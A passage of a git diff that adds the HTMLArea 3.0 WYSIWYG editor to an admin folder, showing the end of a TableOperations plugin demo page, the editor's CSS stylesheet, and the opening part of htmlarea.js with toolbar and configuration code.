+  var html = prompt("Enter some HTML code here");
+  if (html) {
+    editor.insertHTML(html);
+  }
+}
+function highlight() {
+  editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+     customizing the editor.  It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements.  &copy; <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<p>Page that demonstrates the additional features of the
+<tt>TableOperations</tt> plugin (sponsored by <a
+href="http://www.bloki.com">Zapatec Inc.</a>).</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+
+<h1>Plugin: <tt>TableOperations</tt></h1>
+
+<p>This page exemplifies the table operations toolbar, provided by the
+TableOperations plugin.</p>
+
+<p>Following there is a table.</p>
+
+<table border="1" style="border: 2px solid rgb(255, 0, 0); width: 80%; background-image: none; border-collapse: collapse; color: rgb(153, 102, 0); background-color: rgb(255, 255, 51);" align="center" cellspacing="2" cellpadding="1" summary="">
+  <caption>This <span style="font-weight: bold;">is</span> a table</caption>
+  <tbody>
+  <tr style="border-style: none; background-image: none; background-color: rgb(255, 255, 153);" char="." align="left" valign="middle"> <td>1.1</td> <td>1.2</td> <td>1.3</td> <td>1.4</td> </tr>
+  <tr> <td>2.1</td> <td style="border: 1px solid rgb(51, 51, 255); background-image: none; background-color: rgb(102, 255, 255); color: rgb(0, 0, 51);" char="." align="left" valign="middle">2.2</td> <td>2.3</td> <td>2.4</td> </tr>
+  <tr> <td>3.1</td> <td>3.2</td> <td style="border: 2px dashed rgb(51, 204, 102); background-image: none; background-color: rgb(102, 255, 153); color: rgb(0, 51, 0);" char="." align="left" valign="middle">3.3</td> <td>3.4</td> </tr>
+  <tr> <td style="background-color: rgb(255, 204, 51);">4.1</td> <td style="background-color: rgb(255, 204, 51);">4.2</td> <td style="background-color: rgb(255, 204, 51);">4.3</td> <td style="background-color: rgb(255, 204, 51);">4.4</td> </tr>
+  </tbody>
+</table>
+
+<p>Text after the table</p>
+
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value="  submit  " />
+<input type="button" name="ins" value="  insert html  " onclick="return insertHTML();" />
+<input type="button" name="hil" value="  highlight text  " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
diff --git a/admin/htmlarea/htmlarea.css b/admin/htmlarea/htmlarea.css
new file mode 100755 (executable)
index 0000000..b7c50bb
--- /dev/null
@@ -0,0 +1,181 @@
+.htmlarea { background: #fff; }
+
+.htmlarea .toolbar {
+  cursor: default;
+  background: ButtonFace;
+  padding: 1px 1px 2px 1px;
+  border: 1px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar table { font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+.htmlarea .toolbar img { border: none; }
+.htmlarea .toolbar .label { padding: 0px 3px; }
+
+div.backtotop {font-size:11px;text-align:center; clear:both;}
+.htmlarea .toolbar .button {
+  background: ButtonFace;
+  color: ButtonText;
+  border: 1px solid ButtonFace;
+  padding: 1px;
+  margin: 0px;
+  width: 18px;
+  height: 18px;
+}
+.htmlarea .toolbar .buttonHover {
+  border: 1px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar .buttonActive, .htmlarea .toolbar .buttonPressed {
+  padding: 2px 0px 0px 2px;
+  border: 1px solid;
+  border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+.htmlarea .toolbar .buttonPressed {
+  background: ButtonHighlight;
+}
+.htmlarea .toolbar .indicator {
+  padding: 0px 3px;
+  overflow: hidden;
+  width: 20px;
+  text-align: center;
+  cursor: default;
+  border: 1px solid ButtonShadow;
+}
+
+.htmlarea .toolbar .buttonDisabled img {
+  filter: alpha(opacity = 25);
+  -moz-opacity: 0.25;
+}
+
+.htmlarea .toolbar .separator {
+  position: relative;
+  margin: 3px;
+  border-left: 1px solid ButtonShadow;
+  border-right: 1px solid ButtonHighlight;
+  width: 0px;
+  height: 16px;
+  padding: 0px;
+}
+
+.htmlarea .toolbar .space { width: 5px; }
+
+.htmlarea .toolbar select { font: 11px Tahoma,Verdana,sans-serif; }
+
+.htmlarea .toolbar select,
+.htmlarea .toolbar select:hover,
+.htmlarea .toolbar select:active { background: FieldFace; color: ButtonText; }
+
+.htmlarea .statusBar {
+  border: 1px solid;
+  border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+  padding: 2px 4px;
+  background-color: ButtonFace;
+  color: ButtonText;
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.htmlarea .statusBar .statusBarTree a {
+  padding: 2px 5px;
+  color: #00f;
+}
+
+.htmlarea .statusBar .statusBarTree a:visited { color: #00f; }
+.htmlarea .statusBar .statusBarTree a:hover {
+  background-color: Highlight;
+  color: HighlightText;
+  padding: 1px 4px;
+  border: 1px solid HighlightText;
+}
+
+
+/* Hidden DIV popup dialogs (PopupDiv) */
+
+.dialog {
+  color: ButtonText;
+  background: ButtonFace;
+}
+
+.dialog .content { padding: 2px; }
+
+.dialog, .dialog button, .dialog input, .dialog select, .dialog textarea, .dialog table {
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.dialog table { border-collapse: collapse; }
+
+.dialog .title {
+  background: #008;
+  color: #ff8;
+  border-bottom: 1px solid #000;
+  padding: 1px 0px 2px 5px;
+  font-size: 12px;
+  font-weight: bold;
+  cursor: default;
+}
+
+.dialog .title .button {
+  float: right;
+  border: 1px solid #66a;
+  padding: 0px 1px 0px 2px;
+  margin-right: 1px;
+  color: #fff;
+  text-align: center;
+}
+
+.dialog .title .button-hilite { border-color: #88f; background: #44c; }
+
+.dialog button {
+  width: 5em;
+  padding: 0px;
+}
+
+.dialog .buttonColor {
+  padding: 1px;
+  cursor: default;
+  border: 1px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.dialog .buttonColor-hilite {
+  border-color: #000;
+}
+
+.dialog .buttonColor .chooser, .dialog .buttonColor .nocolor {
+  height: 0.6em;
+  border: 1px solid;
+  padding: 0px 1em;
+  border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+
+.dialog .buttonColor .nocolor { padding: 0px; }
+.dialog .buttonColor .nocolor-hilite { background-color: #fff; color: #f00; }
+
+.dialog .label { text-align: right; width: 6em; }
+.dialog .value input { width: 100%; }
+.dialog .buttons { text-align: right; padding: 2px 4px 0px 4px; }
+
+.dialog legend { font-weight: bold; }
+.dialog fieldset table { margin: 2px 0px; }
+
+.popupdiv {
+  border: 2px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.popupwin {
+  padding: 0px;
+  margin: 0px;
+}
+
+.popupwin .title {
+  background: #fff;
+  color: #000;
+  font-weight: bold;
+  font-size: 120%;
+  padding: 3px 10px;
+  margin-bottom: 10px;
+  border-bottom: 1px solid black;
+  letter-spacing: 2px;
+}
+
+form { margin: 0px; border: none; }
diff --git a/admin/htmlarea/htmlarea.js b/admin/htmlarea/htmlarea.js
new file mode 100755 (executable)
index 0000000..8992ce3
--- /dev/null
@@ -0,0 +1,2228 @@
+// htmlArea v3.0 - Copyright (c) 2002-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+//   http://dynarch.com/mishoo
+//
+// $Id: htmlarea.js,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+
+if (typeof _editor_url == "string") {
+       // Leave exactly one backslash at the end of _editor_url
+       _editor_url = _editor_url.replace(/\x2f*$/, '/');
+} else {
+       alert("WARNING: _editor_url is not set!  You should set this variable to the editor files path; it should preferably be an absolute path, like in '/htmlarea/', but it can be relative if you prefer.  Further we will try to load the editor files correctly but we'll probably fail.");
+       _editor_url = '';
+}
+
+// make sure we have a language
+if (typeof _editor_lang == "string") {
+       _editor_lang = _editor_lang.toLowerCase();
+} else {
+       _editor_lang = "en";
+}
+
+// Creates a new HTMLArea object.  Tries to replace the textarea with the given
+// ID with it.
+function HTMLArea(textarea, config) {
+       if (HTMLArea.checkSupportedBrowser()) {
+               if (typeof config == "undefined") {
+                       this.config = new HTMLArea.Config();
+               } else {
+                       this.config = config;
+               }
+               this._htmlArea = null;
+               this._textArea = textarea;
+               this._editMode = "wysiwyg";
+               this.plugins = {};
+               this._timerToolbar = null;
+               this._timerUndo = null;
+               this._undoQueue = new Array(this.config.undoSteps);
+               this._undoPos = -1;
+               this._customUndo = false;
+               this._mdoc = document; // cache the document, we need it in plugins
+               this.doctype = '';
+       }
+};
+
+// load some scripts
+(function() {
+       var scripts = HTMLArea._scripts = [ _editor_url + "htmlarea.js",
+                                           _editor_url + "dialog.js",
+                                           _editor_url + "popupwin.js",
+                                           _editor_url + "lang/" + _editor_lang + ".js" ];
+       var head = document.getElementsByTagName("head")[0];
+       // start from 1, htmlarea.js is already loaded
+       for (var i = 1; i < scripts.length; ++i) {
+               var script = document.createElement("script");
+               script.src = scripts[i];
+               head.appendChild(script);
+       }
+})();
+
+// cache some regexps
+HTMLArea.RE_tagName = /(<\/|<)\s*([^ \t\n>]+)/ig;
+HTMLArea.RE_doctype = /(<!doctype((.|\n)*?)>)\n?/i;
+HTMLArea.RE_head    = /<head>((.|\n)*?)<\/head>/i;
+HTMLArea.RE_body    = /<body>((.|\n)*?)<\/body>/i;
+
+HTMLArea.Config = function () {
+       this.version = "3.0";
+
+       this.width = "500";
+       this.height = "300";
+
+       // enable creation of a status bar?
+       this.statusBar = false;
+
+       // maximum size of the undo queue
+       this.undoSteps = 20;
+
+       // the time interval at which undo samples are taken
+       this.undoTimeout = 500; // 1/2 sec.
+
+       // the next parameter specifies whether the toolbar should be included
+       // in the size or not.
+       this.sizeIncludesToolbar = true;
+
+       // if true then HTMLArea will retrieve the full HTML, starting with the
+       // <HTML> tag.
+       this.fullPage = false;
+
+       // style included in the iframe document
+       this.pageStyle = "";
+
+       // set to true if you want Word code to be cleaned upon Paste
+       this.killWordOnPaste = true;
+
+       // BaseURL included in the iframe document
+       this.baseURL = document.baseURI || document.URL;
+       if (this.baseURL && this.baseURL.match(/(.*)\/([^\/]+)/))
+               this.baseURL = RegExp.$1 + "/";
+
+       // URL-s
+       this.imgURL = "images/";
+       this.popupURL = "popups/";
+
+       /** CUSTOMIZING THE TOOLBAR
+        * -------------------------
+        *
+        * It is recommended that you customize the toolbar contents in an
+        * external file (i.e. the one calling HTMLArea) and leave this one
+        * unchanged.  That's because when we (InteractiveTools.com) release a
+        * new official version, it's less likely that you will have problems
+        * upgrading HTMLArea.
+        */
+       this.toolbar = [
+               [ "fontname", "space",
+                 "fontsize", "space",
+                 "formatblock", "space",
+                 "bold", "italic", "underline",  "separator",
+                 "subscript", "superscript", "separator" ],
+
+               [ "justifyleft", "justifycenter", "justifyright", "justifyfull", "separator",
+                 "orderedlist", "unorderedlist", "outdent", "indent", "separator",
+                 "forecolor",  "separator",
+                 "inserthorizontalrule", "createlink", "inserttable", "htmlmode", "separator",
+                 "copy", "cut", "paste", "space", "undo", "redo" ]
+       ];
+
+       this.fontname = {
+               "Arial":           'arial,helvetica,sans-serif',
+               "Courier New":     'courier new,courier,monospace',
+               "Georgia":         'georgia,times new roman,times,serif',
+               "Tahoma":          'tahoma,arial,helvetica,sans-serif',
+               "Times New Roman": 'times new roman,times,serif',
+               "Verdana":         'verdana,arial,helvetica,sans-serif',
+               "impact":          'impact',
+               "WingDings":       'wingdings'
+       };
+
+       this.fontsize = {
+               "1 (8 pt)":  "1",
+               "2 (10 pt)": "2",
+               "3 (12 pt)": "3",
+               "4 (14 pt)": "4",
+               "5 (18 pt)": "5",
+               "6 (24 pt)": "6",
+               "7 (36 pt)": "7"
+       };
+
+       this.formatblock = {
+               "Heading 1": "h1",
+               "Heading 2": "h2",
+               "Heading 3": "h3",
+               "Heading 4": "h4",
+               "Heading 5": "h5",
+               "Heading 6": "h6",
+               "Normal": "p",
+               "Address": "address",
+               "Formatted": "pre"
+       };
+
+       this.customSelects = {};
+
+       function cut_copy_paste(e, cmd, obj) {
+               e.execCommand(cmd);
+       };
+
+       // ADDING CUSTOM BUTTONS: please read below!
+       // format of the btnList elements is "ID: [ ToolTip, Icon, Enabled in text mode?, ACTION ]"
+       //    - ID: unique ID for the button.  If the button calls document.execCommand
+       //          it's wise to give it the same name as the called command.
+       //    - ACTION: function that gets called when the button is clicked.
+       //              it has the following prototype:
+       //                 function(editor, buttonName)
+       //              - editor is the HTMLArea object that triggered the call
+       //              - buttonName is the ID of the clicked button
+       //              These 2 parameters makes it possible for you to use the same
+       //              handler for more HTMLArea objects or for more different buttons.
+       //    - ToolTip: default tooltip, for cases when it is not defined in the -lang- file (HTMLArea.I18N)
+       //    - Icon: path to an icon image file for the button (TODO: use one image for all buttons!)
+       //    - Enabled in text mode: if false the button gets disabled for text-only mode; otherwise enabled all the time.
+       this.btnList = {
+               bold: [ "Bold", "ed_format_bold.gif", false, function(e) {e.execCommand("bold");} ],
+               italic: [ "Italic", "ed_format_italic.gif", false, function(e) {e.execCommand("italic");} ],
+               underline: [ "Underline", "ed_format_underline.gif", false, function(e) {e.execCommand("underline");} ],
+               strikethrough: [ "Strikethrough", "ed_format_strike.gif", false, function(e) {e.execCommand("strikethrough");} ],
+               subscript: [ "Subscript", "ed_format_sub.gif", false, function(e) {e.execCommand("subscript");} ],
+               superscript: [ "Superscript", "ed_format_sup.gif", false, function(e) {e.execCommand("superscript");} ],
+               justifyleft: [ "Justify Left", "ed_align_left.gif", false, function(e) {e.execCommand("justifyleft");} ],
+               justifycenter: [ "Justify Center", "ed_align_center.gif", false, function(e) {e.execCommand("justifycenter");} ],
+               justifyright: [ "Justify Right", "ed_align_right.gif", false, function(e) {e.execCommand("justifyright");} ],
+               justifyfull: [ "Justify Full", "ed_align_justify.gif", false, function(e) {e.execCommand("justifyfull");} ],
+               orderedlist: [ "Ordered List", "ed_list_num.gif", false, function(e) {e.execCommand("insertorderedlist");} ],
+               unorderedlist: [ "Bulleted List", "ed_list_bullet.gif", false, function(e) {e.execCommand("insertunorderedlist");} ],
+               outdent: [ "Decrease Indent", "ed_indent_less.gif", false, function(e) {e.execCommand("outdent");} ],
+               indent: [ "Increase Indent", "ed_indent_more.gif", false, function(e) {e.execCommand("indent");} ],
+               forecolor: [ "Font Color", "ed_color_fg.gif", false, function(e) {e.execCommand("forecolor");} ],
+               hilitecolor: [ "Background Color", "ed_color_bg.gif", false, function(e) {e.execCommand("hilitecolor");} ],
+               inserthorizontalrule: [ "Horizontal Rule", "ed_hr.gif", false, function(e) {e.execCommand("inserthorizontalrule");} ],
+               createlink: [ "Insert Web Link", "ed_link.gif", false, function(e) {e.execCommand("createlink", true);} ],
+               insertimage: [ "Insert/Modify Image", "ed_image.gif", false, function(e) {e.execCommand("insertimage");} ],
+               inserttable: [ "Insert Table", "insert_table.gif", false, function(e) {e.execCommand("inserttable");} ],
+               htmlmode: [ "Toggle HTML Source", "ed_html.gif", true, function(e) {e.execCommand("htmlmode");} ],
+               popupeditor: [ "Enlarge Editor", "fullscreen_maximize.gif", true, function(e) {e.execCommand("popupeditor");} ],
+               about: [ "About this editor", "ed_about.gif", true, function(e) {e.execCommand("about");} ],
+               showhelp: [ "Help using editor", "ed_help.gif", true, function(e) {e.execCommand("showhelp");} ],
+               undo: [ "Undoes your last action", "ed_undo.gif", false, function(e) {e.execCommand("undo");} ],
+               redo: [ "Redoes your last action", "ed_redo.gif", false, function(e) {e.execCommand("redo");} ],
+               cut: [ "Cut selection", "ed_cut.gif", false, cut_copy_paste ],
+               copy: [ "Copy selection", "ed_copy.gif", false, cut_copy_paste ],
+               paste: [ "Paste from clipboard", "ed_paste.gif", false, cut_copy_paste ],
+               lefttoright: [ "Direction left to right", "ed_left_to_right.gif", false, function(e) {e.execCommand("lefttoright");} ],
+               righttoleft: [ "Direction right to left", "ed_right_to_left.gif", false, function(e) {e.execCommand("righttoleft");} ]
+       };
+       /* ADDING CUSTOM BUTTONS
+        * ---------------------
+        *
+        * It is recommended that you add the custom buttons in an external
+        * file and leave this one unchanged.  That's because when we
+        * (InteractiveTools.com) release a new official version, it's less
+        * likely that you will have problems upgrading HTMLArea.
+        *
+        * Example on how to add a custom button when you construct the HTMLArea:
+        *
+        *   var editor = new HTMLArea("your_text_area_id");
+        *   var cfg = editor.config; // this is the default configuration
+        *   cfg.btnList["my-hilite"] =
+        *      [ function(editor) { editor.surroundHTML('<span style="background:yellow">', '</span>'); }, // action
+        *        "Highlight selection", // tooltip
+        *        "my_hilite.gif", // image
+        *        false // disabled in text mode
+        *      ];
+        *   cfg.toolbar.push(["linebreak", "my-hilite"]); // add the new button to the toolbar
+        *
+        * An alternate (also more convenient and recommended) way to
+        * accomplish this is to use the registerButton function below.
+        */
+       // initialize tooltips from the I18N module and generate correct image path
+       for (var i in this.btnList) {
+               var btn = this.btnList[i];
+               btn[1] = _editor_url + this.imgURL + btn[1];
+               if (typeof HTMLArea.I18N.tooltips[i] != "undefined") {
+                       btn[0] = HTMLArea.I18N.tooltips[i];
+               }
+       }
+};
+
+/** Helper function: register a new button with the configuration.  It can be
+ * called with all 5 arguments, or with only one (first one).  When called with
+ * only one argument it must be an object with the following properties: id,
+ * tooltip, image, textMode, action.  Examples:
+ *
+ * 1. config.registerButton("my-hilite", "Hilite text", "my-hilite.gif", false, function(editor) {...});
+ * 2. config.registerButton({
+ *      id       : "my-hilite",      // the ID of your button
+ *      tooltip  : "Hilite text",    // the tooltip
+ *      image    : "my-hilite.gif",  // image to be displayed in the toolbar
+ *      textMode : false,            // disabled in text mode
+ *      action   : function(editor) { // called when the button is clicked
+ *                   editor.surroundHTML('<span class="hilite">', '</span>');
+ *                 },
+ *      context  : "p"               // will be disabled if outside a <p> element
+ *    });
+ */
+HTMLArea.Config.prototype.registerButton = function(id, tooltip, image, textMode, action, context) {
+       var the_id;
+       if (typeof id == "string") {
+               the_id = id;
+       } else if (typeof id == "object") {
+               the_id = id.id;
+       } else {
+               alert("ERROR [HTMLArea.Config::registerButton]:\ninvalid arguments");
+               return false;
+       }
+       // check for existing id
+       if (typeof this.customSelects[the_id] != "undefined") {
+               // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA dropdown with the same ID already exists.");
+       }
+       if (typeof this.btnList[the_id] != "undefined") {
+               // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA button with the same ID already exists.");
+       }
+       switch (typeof id) {
+           case "string": this.btnList[id] = [ tooltip, image, textMode, action, context ]; break;
+           case "object": this.btnList[id.id] = [ id.tooltip, id.image, id.textMode, id.action, id.context ]; break;
+       }
+};
+
+/** The following helper function registers a dropdown box with the editor
+ * configuration.  You still have to add it to the toolbar, same as with the
+ * buttons.  Call it like this:
+ *
+ * FIXME: add example
+ */
+HTMLArea.Config.prototype.registerDropdown = function(object) {
+       // check for existing id
+       if (typeof this.customSelects[object.id] != "undefined") {
+               // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA dropdown with the same ID already exists.");
+       }
+       if (typeof this.btnList[object.id] != "undefined") {
+               // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA button with the same ID already exists.");
+       }
+       this.customSelects[object.id] = object;
+};
+
+/** Call this function to remove some buttons/drop-down boxes from the toolbar.
+ * Pass as the only parameter a string containing button/drop-down names
+ * delimited by spaces.  Note that the string should also begin with a space
+ * and end with a space.  Example:
+ *
+ *   config.hideSomeButtons(" fontname fontsize textindicator ");
+ *
+ * It's useful because it's easier to remove stuff from the defaul toolbar than
+ * create a brand new toolbar ;-)
+ */
+HTMLArea.Config.prototype.hideSomeButtons = function(remove) {
+       var toolbar = this.toolbar;
+       for (var i in toolbar) {
+               var line = toolbar[i];
+               for (var j = line.length; --j >= 0; ) {
+                       if (remove.indexOf(" " + line[j] + " ") >= 0) {
+                               var len = 1;
+                               if (/separator|space/.test(line[j + 1])) {
+                                       len = 2;
+                               }
+                               line.splice(j, len);
+                       }
+               }
+       }
+};
+
+/** Helper function: replace all TEXTAREA-s in the document with HTMLArea-s. */
+HTMLArea.replaceAll = function(config) {
+       var tas = document.getElementsByTagName("textarea");
+       for (var i = tas.length; i > 0; (new HTMLArea(tas[--i], config)).generate());
+};
+
+/** Helper function: replaces the TEXTAREA with the given ID with HTMLArea. */
+HTMLArea.replace = function(id, config) {
+       var ta = HTMLArea.getElementById("textarea", id);
+       return ta ? (new HTMLArea(ta, config)).generate() : null;
+};
+
+// Creates the toolbar and appends it to the _htmlarea
+HTMLArea.prototype._createToolbar = function () {
+       var editor = this;      // to access this in nested functions
+
+       var toolbar = document.createElement("div");
+       this._toolbar = toolbar;
+       toolbar.className = "toolbar";
+       toolbar.unselectable = "1";
+       var tb_row = null;
+       var tb_objects = new Object();
+       this._toolbarObjects = tb_objects;
+
+       // creates a new line in the toolbar
+       function newLine() {
+               var table = document.createElement("table");
+               table.border = "0px";
+               table.cellSpacing = "0px";
+               table.cellPadding = "0px";
+               toolbar.appendChild(table);
+               // TBODY is required for IE, otherwise you don't see anything
+               // in the TABLE.
+               var tb_body = document.createElement("tbody");
+               table.appendChild(tb_body);
+               tb_row = document.createElement("tr");
+               tb_body.appendChild(tb_row);
+       }; // END of function: newLine
+       // init first line
+       newLine();
+
+       // updates the state of a toolbar element.  This function is member of
+       // a toolbar element object (unnamed objects created by createButton or
+       // createSelect functions below).
+       function setButtonStatus(id, newval) {
+               var oldval = this[id];
+               var el = this.element;
+               if (oldval != newval) {
+                       switch (id) {
+                           case "enabled":
+                               if (newval) {
+                                       HTMLArea._removeClass(el, "buttonDisabled");
+                                       el.disabled = false;
+                               } else {
+                                       HTMLArea._addClass(el, "buttonDisabled");
+                                       el.disabled = true;
+                               }
+                               break;
+                           case "active":
+                               if (newval) {
+                                       HTMLArea._addClass(el, "buttonPressed");
+                               } else {
+                                       HTMLArea._removeClass(el, "buttonPressed");
+                               }
+                               break;
+                       }
+                       this[id] = newval;
+               }
+       }; // END of function: setButtonStatus
+
+       // this function will handle creation of combo boxes.  Receives as
+       // parameter the name of a button as defined in the toolBar config.
+       // This function is called from createButton, above, if the given "txt"
+       // doesn't match a button.
+       function createSelect(txt) {
+               var options = null;
+               var el = null;
+               var cmd = null;
+               var customSelects = editor.config.customSelects;
+               var context = null;
+               var tooltip = "";
+               switch (txt) {
+                   case "fontsize":
+                   case "fontname":
+                   case "formatblock":
+                       // the following line retrieves the correct
+                       // configuration option because the variable name
+                       // inside the Config object is named the same as the
+                       // button/select in the toolbar.  For instance, if txt
+                       // == "formatblock" we retrieve config.formatblock (or
+                       // a different way to write it in JS is
+                       // config["formatblock"].
+                       options = editor.config[txt];
+                       cmd = txt;
+                       break;
+                   default:
+                       // try to fetch it from the list of registered selects
+                       cmd = txt;
+                       var dropdown = customSelects[cmd];
+                       if (typeof dropdown != "undefined") {
+                               options = dropdown.options;
+                               context = dropdown.context;
+                               if (typeof dropdown.tooltip != "undefined") {
+                                       tooltip = dropdown.tooltip;
+                               }
+                       } else {
+                               alert("ERROR [createSelect]:\nCan't find the requested dropdown definition");
+                       }
+                       break;
+               }
+               if (options) {
+                       el = document.createElement("select");
+                       el.title = tooltip;
+                       var obj = {
+                               name    : txt, // field name
+                               element : el,   // the UI element (SELECT)
+                               enabled : true, // is it enabled?
+                               text    : false, // enabled in text mode?
+                               cmd     : cmd, // command ID
+                               state   : setButtonStatus, // for changing state
+                               context : context
+                       };
+                       tb_objects[txt] = obj;
+                       for (var i in options) {
+                               var op = document.createElement("option");
+                               op.appendChild(document.createTextNode(i));
+                               op.value = options[i];
+                               el.appendChild(op);
+                       }
+                       HTMLArea._addEvent(el, "change", function () {
+                               editor._comboSelected(el, txt);
+                       });
+               }
+               return el;
+       }; // END of function: createSelect
+
+       // appends a new button to toolbar
+       function createButton(txt) {
+               // the element that will be created
+               var el = null;
+               var btn = null;
+               switch (txt) {
+                   case "separator":
+                       el = document.createElement("div");
+                       el.className = "separator";
+                       break;
+                   case "space":
+                       el = document.createElement("div");
+                       el.className = "space";
+                       break;
+                   case "linebreak":
+                       newLine();
+                       return false;
+                   case "textindicator":
+                       el = document.createElement("div");
+                       el.appendChild(document.createTextNode("A"));
+                       el.className = "indicator";
+                       el.title = HTMLArea.I18N.tooltips.textindicator;
+                       var obj = {
+                               name    : txt, // the button name (i.e. 'bold')
+                               element : el, // the UI element (DIV)
+                               enabled : true, // is it enabled?
+                               active  : false, // is it pressed?
+                               text    : false, // enabled in text mode?
+                               cmd     : "textindicator", // the command ID
+                               state   : setButtonStatus // for changing state
+                       };
+                       tb_objects[txt] = obj;
+                       break;
+                   default:
+                       btn = editor.config.btnList[txt];
+               }
+               if (!el && btn) {
+                       el = document.createElement("div");
+                       el.title = btn[0];
+                       el.className = "button";
+                       // let's just pretend we have a button object, and
+                       // assign all the needed information to it.
+                       var obj = {
+                               name    : txt, // the button name (i.e. 'bold')
+                               element : el, // the UI element (DIV)
+                               enabled : true, // is it enabled?
+                               active  : false, // is it pressed?
+                               text    : btn[2], // enabled in text mode?
+                               cmd     : btn[3], // the command ID
+                               state   : setButtonStatus, // for changing state
+                               context : btn[4] || null // enabled in a certain context?
+                       };
+                       tb_objects[txt] = obj;
+                       // handlers to emulate nice flat toolbar buttons
+                       HTMLArea._addEvent(el, "mouseover", function () {
+                               if (obj.enabled) {
+                                       HTMLArea._addClass(el, "buttonHover");
+                               }
+                       });
+                       HTMLArea._addEvent(el, "mouseout", function () {
+                               if (obj.enabled) with (HTMLArea) {
+                                       _removeClass(el, "buttonHover");
+                                       _removeClass(el, "buttonActive");
+                                       (obj.active) && _addClass(el, "buttonPressed");
+                               }
+                       });
+                       HTMLArea._addEvent(el, "mousedown", function (ev) {
+                               if (obj.enabled) with (HTMLArea) {
+                                       _addClass(el, "buttonActive");
+                                       _removeClass(el, "buttonPressed");
+                                       _stopEvent(is_ie ? window.event : ev);
+                               }
+                       });
+                       // when clicked, do the following:
+                       HTMLArea._addEvent(el, "click", function (ev) {
+                               if (obj.enabled) with (HTMLArea) {
+                                       _removeClass(el, "buttonActive");
+                                       _removeClass(el, "buttonHover");
+                                       obj.cmd(editor, obj.name, obj);
+                                       _stopEvent(is_ie ? window.event : ev);
+                               }
+                       });
+                       var img = document.createElement("img");
+                       img.src = btn[1];
+                       img.style.width = "18px";
+                       img.style.height = "18px";
+                       el.appendChild(img);
+               } else if (!el) {
+                       el = createSelect(txt);
+               }
+               if (el) {
+                       var tb_cell = document.createElement("td");
+                       tb_row.appendChild(tb_cell);
+                       tb_cell.appendChild(el);
+               } else {
+                       alert("FIXME: Unknown toolbar item: " + txt);
+               }
+               return el;
+       };
+
+       var first = true;
+       for (var i in this.config.toolbar) {
+               if (!first) {
+                       createButton("linebreak");
+               } else {
+                       first = false;
+               }
+               var group = this.config.toolbar[i];
+               for (var j in group) {
+                       var code = group[j];
+                       if (/^([IT])\[(.*?)\]/.test(code)) {
+                               // special case, create text label
+                               var l7ed = RegExp.$1 == "I"; // localized?
+                               var label = RegExp.$2;
+                               if (l7ed) {
+                                       label = HTMLArea.I18N.custom[label];
+                               }
+                               var tb_cell = document.createElement("td");
+                               tb_row.appendChild(tb_cell);
+                               tb_cell.className = "label";
+                               tb_cell.innerHTML = label;
+                       } else {
+                               createButton(code);
+                       }
+               }
+       }
+
+       this._htmlArea.appendChild(toolbar);
+};
+
+HTMLArea.prototype._createStatusBar = function() {
+       var statusbar = document.createElement("div");
+       statusbar.className = "statusBar";
+       this._htmlArea.appendChild(statusbar);
+       this._statusBar = statusbar;
+       // statusbar.appendChild(document.createTextNode(HTMLArea.I18N.msg["Path"] + ": "));
+       // creates a holder for the path view
+       div = document.createElement("span");
+       div.className = "statusBarTree";
+       div.innerHTML = HTMLArea.I18N.msg["Path"] + ": ";
+       this._statusBarTree = div;
+       this._statusBar.appendChild(div);
+       if (!this.config.statusBar) {
+               // disable it...
+               statusbar.style.display = "none";
+       }
+};
+
+// Creates the HTMLArea object and replaces the textarea with it.
+HTMLArea.prototype.generate = function () {
+       var editor = this;      // we'll need "this" in some nested functions
+       // get the textarea
+       var textarea = this._textArea;
+       if (typeof textarea == "string") {
+               // it's not element but ID
+               this._textArea = textarea = HTMLArea.getElementById("textarea", textarea);
+       }
+       this._ta_size = {
+               w: textarea.offsetWidth,
+               h: textarea.offsetHeight
+       };
+       textarea.style.display = "none";
+
+       // create the editor framework
+       var htmlarea = document.createElement("div");
+       htmlarea.className = "htmlarea";
+       this._htmlArea = htmlarea;
+
+       // insert the editor before the textarea.
+       textarea.parentNode.insertBefore(htmlarea, textarea);
+
+       if (textarea.form) {
+               // we have a form, on submit get the HTMLArea content and
+               // update original textarea.
+               var f = textarea.form;
+               if (typeof f.onsubmit == "function") {
+                       var funcref = f.onsubmit;
+                       if (typeof f.__msh_prevOnSubmit == "undefined") {
+                               f.__msh_prevOnSubmit = [];
+                       }
+                       f.__msh_prevOnSubmit.push(funcref);
+               }
+               f.onsubmit = function() {
+                       editor._textArea.value = editor.getHTML();
+                       var a = this.__msh_prevOnSubmit;
+                       // call previous submit methods if they were there.
+                       if (typeof a != "undefined") {
+                               for (var i in a) {
